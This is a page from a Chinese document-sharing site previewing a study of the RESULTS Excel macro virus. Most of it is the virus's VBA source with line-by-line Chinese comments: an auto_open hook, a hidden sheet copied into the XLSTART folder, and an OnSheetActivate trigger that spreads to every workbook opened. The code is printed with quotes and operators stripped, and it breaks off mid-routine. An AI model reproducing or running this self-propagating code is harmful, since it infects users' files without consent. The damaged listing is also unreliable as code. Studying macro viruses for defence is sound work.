RESULTS宏病毒学习与处理方法.docVIP

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
RESULTS宏病毒学习与处理方法

RESULTS宏病毒学习与处理方法 Sub auto_open() Application.OnSheetActivate = ck_files 这个auto_open,是文件打开自动执行。由于本文件是放在xlstart文件夹,任何excel文件启动,都会先打开这个文件。 End Sub Sub ck_files() c$ = Application.StartupPath 取得xlstart文件夹的路径 m$ = Dir(c$ \ RESULTS.XLS) 取得results.xls文件名 If m$ = RESULTS.XLS Then p = 1 Else p = 0 如果result文件不存在,m$是 If ActiveWorkbook.Modules.Count 0 Then w = 1 Else w = 0 判断活动工作簿的模块数量。这个活动工作簿,不是results.xls,是你正常打开的那个工作簿。 whichfile = p + w * 10 这个whichfile变量,是10的话,就是当前活动工作簿有模块,而xlstart中没有resutlts.xls,是1的话,则相反。 Select Case whichfile Case 10 当前活动工作簿有模块,而xlstart中没有resutlts.xls执行以下代码 Application.ScreenUpdating = False n4$ = ActiveWorkbook.Name Sheets(results).Visible = True Sheets(results).Select Sheets(results).Copy 将results工作表 copy 出来,新建一个工作簿。这个工作簿就是下面的活动工作簿了。 With ActiveWorkbook .Title = 帮助中说这是保存为网页时,文档的名称,现在是空白的。 .Subject = 帮助中说这是发邮件时,作为邮件主题 .Author = 文档作者 .Keywords = 关键词 .Comments = 注释 End With newname$ = ActiveWorkbook.Name c4$ = CurDir() 得到当前驱动器路径,比如C:\,E:\ ChDir Application.StartupPath 改变路径到xlstart ActiveWindow.Visible = False Workbooks(newname$).SaveAs Filename:=Application.StartupPath / RESULTS.XLS, FileFormat:=xlNormal _ , Password:=, WriteResPassword:=, ReadOnlyRecommended:= _ False, CreateBackup:=False 关键的地方,由于新建工作簿包含results,而xlstart文件夹中没有,所以将新建工作簿以results.xls名保存在xlstart文件夹中。 ChDir c4$ 保存结束,重新转入到原来正常使用的工作簿的路径 Workbooks(n4$).Sheets(results).Visible = False 隐藏results工作表 Application.OnSheetActivate = 如果你原来就有onsheetactivate的变量,这儿被它改了。 Application.ScreenUpdating = True Application.OnSheetActivate = RESULTS.XLS!ck_files 每次将工作表变动一下就会执行这个代码。如果你有好多工作簿,都操作一遍,那么全部染上它了。 Case 1 当前活动工作簿没有模块,而xlstart中有resutlts.xls Application.ScreenUpdating = False n4$ = ActiveWorkbook.Name p4$ = ActiveWorkbook.Path s$ = Workbooks(n4$).Sheets(1).Name If s$

文档评论(0)

80019pp + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档